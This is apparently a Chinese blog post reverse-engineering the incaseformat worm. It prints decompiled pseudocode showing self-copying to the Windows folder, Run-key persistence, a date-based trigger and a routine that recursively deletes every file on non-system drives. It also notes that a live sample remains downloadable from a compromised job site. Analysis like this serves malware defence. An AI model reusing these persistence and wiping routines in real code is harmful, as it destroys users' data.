愚人节病毒 ???

不同于熊猫烧香 彩虹猫 之前的钉_钉病毒,
2021年1月13号 incaseformat蠕虫病毒来袭,会自动复制到windows目录下,并写入注册表,重启电脑后,病毒会遍历除了系统盘外的所有磁盘进行删除。

病毒检出率

病毒行为分析

PEID分析

使用Borland Delphi 6.0 - 7.0 [Overlay]编写

先查看字符串信息
进行定位

危险函数相关代码

int TForm1_FormCreate()
{__writefsdword(0, (unsigned int)&v17);System::ParamStr(0);Sysutils::ExtractFilePath(v43);System::ParamStr(0);Sysutils::ExtractFileName(v40);v14 = unknown_libname_69(v41) - 4;System::ParamStr(0);Sysutils::ExtractFileName(v39);System::__linkproc__ LStrCopy(&v42);System::__linkproc__ LStrCat(&System::AnsiString, v42);if ( (unsigned __int8)Sysutils::DirectoryExists(System::AnsiString) ){System::ParamStr(0);Sysutils::ExtractFilePath(v37);System::ParamStr(0);Sysutils::ExtractFileName(v34);unknown_libname_69(v35);System::ParamStr(0);Sysutils::ExtractFileName(v33);System::__linkproc__ LStrCopy(&v36);System::__linkproc__ LStrCatN(&v38, 3, v0, v36, &str___16[1]);v1 = (const CHAR *)System::__linkproc__ LStrToPChar(v38);ShellExecuteA(0, 0, v1, 0, 0, 1);}if ( !(unsigned __int8)Sysutils::FileExists((const int)&str_C__windows_tsay[1]) ){System::ParamStr(0);v2 = (const CHAR *)System::__linkproc__ LStrToPChar(v32);CopyFileA(v2, "C:\\windows\\tsay.exe", -1);v3 = (Registry::TRegistry *)Registry::TRegistry::TRegistry((Registry::TRegistry *)dword_4259E4);Registry::TRegistry::SetRootKey(v3, 0x80000002);LOBYTE(v4) = 1;Registry::TRegistry::OpenKey(v3, (const int)&str_SOFTWARE_Micros[1], v4);Registry::TRegistry::WriteString(v3, &str_msfsa[1], &str_C__windows_tsay[1]);Registry::TRegistry::CloseKey(v3);v5 = System::TObject::Free(v3);System::__linkproc__ Halt0(v5);}v16 = &savedregs;v15 = &loc_44F1A6;v14 = __readfsdword(0);__writefsdword(0, (unsigned int)&v14);System::ParamStr(0);v6 = (const CHAR *)System::__linkproc__ LStrToPChar(v31);CopyFileA(v6, "C:\\windows\\tsay.exe", 0);__writefsdword(0, v14);v16 = &savedregs;v15 = &loc_44F20F;v14 = __readfsdword(0);__writefsdword(0, (unsigned int)&v14);v7 = (Registry::TRegistry *)Registry::TRegistry::TRegistry((Registry::TRegistry *)dword_4259E4);Registry::TRegistry::SetRootKey(v7, 0x80000002);LOBYTE(v8) = 1;Registry::TRegistry::OpenKey(v7, (const int)&str_SOFTWARE_Micros[1], v8);Registry::TRegistry::WriteString(v7, &str_msfsa[1], &str_C__windows_tsay[1]);Registry::TRegistry::CloseKey(v7);System::TObject::Free(v7);__writefsdword(0, v14);System::ParamStr(0);Sysutils::UpperCase(v29);v16 = v30;Sysutils::UpperCase((const int)&str_C__windows_tsay[1]);System::__linkproc__ LStrCmp(v16, v28);if ( v9 ){v16 = &savedregs;v15 = &loc_44F2C5;v14 = __readfsdword(0);__writefsdword(0, (unsigned int)&v14);System::ParamStr(0);v11 = (const CHAR *)System::__linkproc__ LStrToPChar(v24);CopyFileA(v11, "C:\\windows\\ttry.exe", 0);__writefsdword(0, v14);v12 = ShellExecuteA(0, 0, "C:\\windows\\ttry.exe", 0, 0, 0);System::__linkproc__ Halt0(v12);}System::ParamStr(0);Sysutils::UpperCase(v26);v16 = v27;Sysutils::UpperCase((const int)&str_C__windows_ttry[1]);v10 = System::__linkproc__ LStrCmp(v16, v25);if ( !v9 )System::__linkproc__ Halt0(v10);__writefsdword(0, v17);__writefsdword(0, (unsigned int)v21);v23 = &loc_44F32B;return System::__linkproc__ LStrArrayClr(&v24, 24);
}

其中 CopyFileA(v6, “C:\windows\tsay.exe”, 0);
与 CopyFileA(v11, “C:\windows\ttry.exe”, 0);
__writefsdword(0, v14);
v12 = ShellExecuteA(0, 0, “C:\windows\ttry.exe”, 0, 0, 0);

会先进行判断文件是否存在,将其写入注册表设置为开机自启,并将程序拷贝到 C盘Windows下
ShellExecuteA函数是windows的API函数,功能是执行可执行文件(exe)或任何关联文件(doc、txt、xls等)。
ShellExecute是异步执行的,不管执行的程序是否成功运行,运行的时间是长是短,ShellExecute函数都会立即返回。即执行ttry.exe程序
之后定位下一个函数

int __usercall TForm1_Timer2Timer@<eax>(int a1@<eax>, long double a2@<st0>)
{int v2; // edx@1int v3; // ebx@9signed int v4; // esi@10unsigned int v5; // edx@12unsigned int v7; // [sp-18h] [bp-44h]@1void *v8; // [sp-14h] [bp-40h]@1int *v9; // [sp-10h] [bp-3Ch]@1unsigned int v10; // [sp-Ch] [bp-38h]@1void *v11; // [sp-8h] [bp-34h]@1int *v12; // [sp-4h] [bp-30h]@1int v13; // [sp+Ch] [bp-20h]@1System::TObject *v14; // [sp+10h] [bp-1Ch]@1unsigned __int16 v15; // [sp+16h] [bp-16h]@1unsigned __int16 v16; // [sp+18h] [bp-14h]@1long double System::TDateTime; // [sp+1Ah] [bp-12h]@1int v18; // [sp+28h] [bp-4h]@1int savedregs; // [sp+2Ch] [bp+0h]@1v13 = 0;v18 = a1;v12 = &savedregs;v11 = &loc_44EFA1;v10 = __readfsdword(0);__writefsdword(0, (unsigned int)&v10);unknown_libname_426(*(_DWORD *)(a1 + 764), 0);v9 = &savedregs;v8 = &loc_44EF84;v7 = __readfsdword(0);__writefsdword(0, (unsigned int)&v7);LOBYTE(v2) = 1;v14 = (System::TObject *)unknown_libname_42(cls_Classes_TStringList, v2);Sysutils::Now();*(double *)((char *)&System::TDateTime + 2) = a2;sub_44E5C8(&v14);Sysutils::DecodeDate((const int)&System::TDateTime,&v16,&v15,*(unsigned __int16 **)((char *)&System::TDateTime + 2));if ( LOWORD(System::TDateTime) > 0x7D9u ){if ( v16 > 3u ){if ( v15 == 1 || v15 == 10 || v15 == 21 || v15 == 29 ){v3 = (*(int (**)(void))(*(_DWORD *)v14 + 20))() - 1;if ( v3 > 0 ){v4 = 1;do{(*(void (__fastcall **)(System::TObject *, signed int, int *))(*(_DWORD *)v14 + 12))(v14, v4, &v13);sub_44EC70(v13);++v4;--v3;}while ( v3 );}}System::TObject::Free(v14);v5 = v7;__writefsdword(0, v7);v9 = (int *)&loc_44EF8B;LOBYTE(v5) = 1;unknown_libname_426(*(_DWORD *)(v18 + 764), v5);}else{System::__linkproc__ TryFinallyExit(v7, v8, v9);}}else{System::__linkproc__ TryFinallyExit(v7, v8, v9);}__writefsdword(0, v10);v12 = (int *)&loc_44EFA8;return System::__linkproc__ LStrClr(&v13);
}

着重关注判断语句

if ( LOWORD(System::TDateTime) > 2009u )
获取到系统时间,如果年份大于2009
if ( v16 > 3u )
如果月份大于3
if ( v15 == 1 || v15 == 10 || v15 == 21 || v15 == 29 )
如果日期等于1 或 等于10 或等于21 或等于29
就会触发 sub_44ec70
但是这段代码上方

会通过获取到当前时间之后,通过DecodeDate对时间进行处理

int __fastcall Sysutils::DecodeDate(const int System::TDateTime, unsigned __int16 *a2, unsigned __int16 *a3, int a4, unsigned __int16 *a5)
{unsigned __int16 v6; // [sp+6h] [bp-2h]@1return Sysutils::DecodeDateFully(System::TDateTime, a2, a3, a5, &v6);
}

具体算法如下:

int __fastcall Sysutils::DecodeDateFully(const int System::TDateTime, unsigned __int16 *a2, unsigned __int16 *a3, __int64 a4, unsigned __int16 *a5)
{v20 = (unsigned __int16 *)System::TDateTime;Sysutils::DateTimeToTimeStamp(*(double *)&a4);if ( v14 > 0 ){*a5 = v14 % 7 + 1;v6 = v14 - 1;for ( i = 1; v6 >= 146097; i += 400 )v6 -= 146097;unknown_libname_101(&v17);if ( v15 == 4 ){v15 = 3;v17 -= 29012;}unknown_libname_101(&v17);v8 = 4 * v15 + 100 * v15 + i;unknown_libname_101(&v17);if ( v15 == 4 ){v15 = 3;v17 += 365;}v9 = v15 + v8;v10 = Sysutils::IsLeapYear(v9);v5 = v10;v11 = (char *)&unk_4500DC + 24 * (unsigned __int8)v10;for ( j = 1; ; ++j ){v16 = *(_WORD *)&v11[2 * (unsigned __int16)j - 2];if ( v17 < v16 )break;v17 -= v16;}*v20 = v9;*v19 = j;*v18 = v17 + 1;}else{*v20 = 0;*v19 = 0;*v18 = 0;*a5 = 0;v5 = 0;}return v5;
}

导致算法执行后的结构与预期不符,原本会是2010年4月1号愚人节启动,缺阴差阳错的成了2021年1月13号执行,那么下次就是1月23和2月4号
具体原因是DateTimeToTimeStamp这个函数中出现了变量异常

int __fastcall Sysutils::DateTimeToTimeStamp(int a1, int a2, int a3, double a4)
{int v4; // ecx@1unsigned __int64 v5; // rax@1int v6; // edx@2unsigned __int64 v7; // rtt@2int v8; // eax@2unsigned __int64 v9; // rt2@3int result; // eax@4v4 = a1;v5 = (signed __int64)(a4 * flt_45017C);if ( SHIDWORD(v5) >= 0 ){v9 = v5 % (unsigned int)dword_450180;v8 = v5 / (unsigned int)dword_450180;v6 = v9;}else{LODWORD(v5) = -(signed int)v5;LODWORD(v7) = v5;HIDWORD(v7) = -HIDWORD(v5) - ((_DWORD)v5 != 0);v6 = v7 % (unsigned int)dword_450180;v8 = -(signed int)(v7 / (unsigned int)dword_450180);}result = v8 + 693594;*(_DWORD *)v4 = v6;*(_DWORD *)(v4 + 4) = result;return result;
}

这里的dword_450180 按照设计者最初的设想,其时间戳转日的值应该是 86400000ms 而这里是94854340

导致计算出的数值错误。
接下来看,程序对硬盘的操作

char __fastcall sub_44EC70(int a1)
{System::__linkproc__ LStrAddRef();unknown_libname_74(&FatTime, &byte_406E1C);v9 = &savedregs;v8 = &loc_44EE40;v7 = __readfsdword(0);__writefsdword(0, (unsigned int)&v7);v6 = &savedregs;v5 = &loc_44EDF7;v4 = __readfsdword(0);__writefsdword(0, (unsigned int)&v4);v1 = unknown_libname_69(v18);if ( *(_BYTE *)(v18 + v1 - 1) != 92 )System::__linkproc__ LStrCat(&v18, &str___15[1]);System::__linkproc__ LStrCat3(&v16, v18, &str_____0[1]);if ( !Sysutils::FindFirst(v16, 63, &FatTime) ){do{System::__linkproc__ LStrCmp(v15, &str___2[1]);if ( !v2 ){System::__linkproc__ LStrCmp(v15, &str____0[1]);if ( !v2 ){if ( v14 & 0x10 ){System::__linkproc__ LStrCat3(&v12, v18, v15);if ( !(unsigned __int8)sub_44EC70(v12) )v17 = 0;}else{System::__linkproc__ LStrCat3(&System::AnsiString, v18, v15);Sysutils::FileSetAttr(System::AnsiString, 0);System::__linkproc__ LStrCat3(&v10, v18, v15);Sysutils::DeleteFile(v10);}}}}while ( !Sysutils::FindNext(&FatTime) );Sysutils::FindClose(&FatTime);}Sysutils::FileSetAttr(v18, 0);v17 = (unsigned __int8)Sysutils::RemoveDir(v18) != 0;__writefsdword(0, v4);__writefsdword(0, v7);v9 = (int *)&loc_44EE47;System::__linkproc__ LStrArrayClr(&v10, 3);System::__linkproc__ FinalizeRecord(&FatTime, &byte_406E1C);System::__linkproc__ LStrClr(&v16);System::__linkproc__ LStrClr(&v18);return v17;
}

函数的主要功能是根据前缀路径 “.”匹配所有的文件,循环删除,遇到文件夹会进行递归删除

目前某招聘网站已被感染

网站存在文件上传漏洞,已经有病毒样本 2019年已被爆出 但目前依然可以下载

下载后的样本 与原病毒样本对比

使用IDA进行查看

可以确定为同一病毒
其病毒行为与原病毒行为一样
程序的图标同Windows的文件夹,错误点击后可能会弹窗报错,Windows7 测试,未报错。

电脑重启前

重启后 发现E盘占用空间依然有,但是文件以及没有了

windows7下出现的一些问题

PCHunter打开

能看到其运行的进程 ,原有执行文件已经消失

这个病毒对我没有危害: 因为我Windows只有C盘,个人感觉 固态硬盘 分区的意义好像不大

最后 一张图收尾 :


以前阅读量不到k现在 目前阅读量已经 100k+了 奥利给 !!!

incaseformat病毒分析相关推荐

  1. Incaseformat蠕虫病毒分析

    01背景 1月13日, incaseformat病毒在全网集中爆发,中毒用户C盘以外所有文件被删除. 该病毒最早可以追溯到2009年,该病毒会在2010年4月1日(愚人节)触发删除文件逻辑:而此次爆发 ...

  2. Incaseformat病毒解决方案参考(针对2021-01-13全国爆发)

    备注:本文是直接在文档上复制的,因为要给客户看,但是我想着,可以分享,经验总结,今天2021年1月14号,各位快拿去解决问题. 2021年1月13日,全国多家单位反馈感染所谓的incaseformat ...

  3. C:/WINDOWS/system32/x 病毒分析和解决建议

    系统出现问题,症状有: 偶尔很卡,CPU并没有很高的进程: 死机,屏幕锁定,键盘失灵,仅鼠标能移动,但是不能任何操作: 只能强行重新启动: NOD32会报以下病毒警告: C:/WINDOWS/syst ...

  4. 熊猫烧香变种病毒分析

    熊猫烧香变种病毒分析分析报告 样本名 2_dump_SCY.exe(熊猫烧香) 作者 yusakul 时间 2018-07-13 平台 Win7-32 1.样本概况 1.1 样本信息 病毒名称 2_d ...

  5. 013 Android锁机病毒分析

    文章目录 免流服务器-锁机病毒分析 秒抢红包-锁机病毒分析 免流服务器-锁机病毒分析 首先来分析这个免流服务器的锁机病毒,文件信息如下 文件: 免流服务器.apk 大小: 799835 bytes 修 ...

  6. Android逆向与病毒分析

    本文由同程旅游安全团队对内移动安全培训的PPT整理而来,面向对象为对移动安全感兴趣的研发同事,所以讲的有些宽泛.介绍了入门Android逆向需要掌握的一些知识点, 通过简单的几个案例讲解Android ...

  7. 一个感染型木马病毒分析(二)

    作者:龙飞雪 0x1序言 前面已经对感染型木马病毒resvr.exe的病毒行为进行了具体的分析见一个感染型木马病毒分析(一),但是觉得还不够,不把这个感染型木马病毒的行为的亮点进行分析一下就有点遗憾了 ...

  8. 分享几个病毒分析检测网址

    1.在线病毒分析网站: 以下网站上传样本后,很快就会在网页上出报告的: (1)这个网址报告格式很简洁,我很喜欢:http://camas.comodo.com/ (2)这个网址的报告最全面,而且会真的 ...

  9. 更新 箫心病毒分析专家2006 build 5.23(C#2.0)

    箫心病毒分析专家2006 build 5.23版介绍: 箫心病毒分析专家顾名思义,是一款帮助你查找本机电脑病毒,恶意脚本,***程序 ,各类***程序的一款完全免费的绿色经典软件.      1, 运 ...

  10. ×××病毒分析工具集之File Format Identifier v1.0

    本工具是一款辅助进行病毒分析的工具,它包括各种文件格式识别功能,使用×××的格式识别引擎部分代码,集查壳.PE文件编辑.MD5计算以及快捷的第三方工具利用等功能,适合病毒分析中对一些病毒***样本进行 ...

最新文章

  1. 9102年webpack4搭建vue项目
  2. Pytorch的网络结构可视化:Netron与TensorBoardX
  3. 张迈机器人_财会类专业建设改革千人高峰论坛圆满召开!
  4. php把整数拆分成数组,数组拆分处理(整数时的处理),该怎么处理
  5. 【线性代数】思维脑图
  6. 通达信登录服务器文件夹,我也搞定了通达信交易系统多帐号登录交易!
  7. mac android 手机连接打印机,为什么苹果电脑连接打印机打不出来怎么办
  8. Android OTG 读写U盘文件
  9. 本地文件上传到github
  10. matlab 矩阵位移法编程 结构力学,matlab-矩阵位移法编程-结构力学.doc
  11. 大学计算机课程进制的转换教程,交大计算机课程(1):各种进制转换
  12. 【MySQL从入门到精通】【高级篇】(二十五)EXPLAIN中ref、rows、filtered、Extra字段的剖析
  13. uploadify--上传文件控件
  14. xiaomi 小米6刷ubuntu touch
  15. 计算机大赛搞笑队名,电子设计大赛队名
  16. RootBeanDefinition、ChildBeanDefinition、GenericBeanDefinition的区别
  17. 使用java awt画风向玫瑰图及风能玫瑰图程序
  18. 图像识别——(java使用opencv答题卡识别)
  19. echars 柱状图正常状态 --》二次封装
  20. 营销新人的决策难题:甲方企业品牌部还是乙方广告公司

热门文章

  1. 广告终结者chinalist-easylist语法规则
  2. 素数表的C++实现:快速进行素数筛选(埃氏筛法)
  3. 计算机telnet命令大全,Telnet 命令使用方法详解
  4. if语句 power query_判断(if)语句
  5. VS2010SP1dvd1安装失败。
  6. Android布局详解:FrameLayout
  7. 2019上半年系统集成项目管理工程师真题与答案
  8. Fedora 14 Error: Cannot retrieve repository metadata (repomd.xml) for repository
  9. python|cookie和session介绍——以12306验证码破解
  10. 计算机打印机墨水更换方法,怎么看打印机有没有墨?老司机教你查看打印机墨水量方法 (全文)...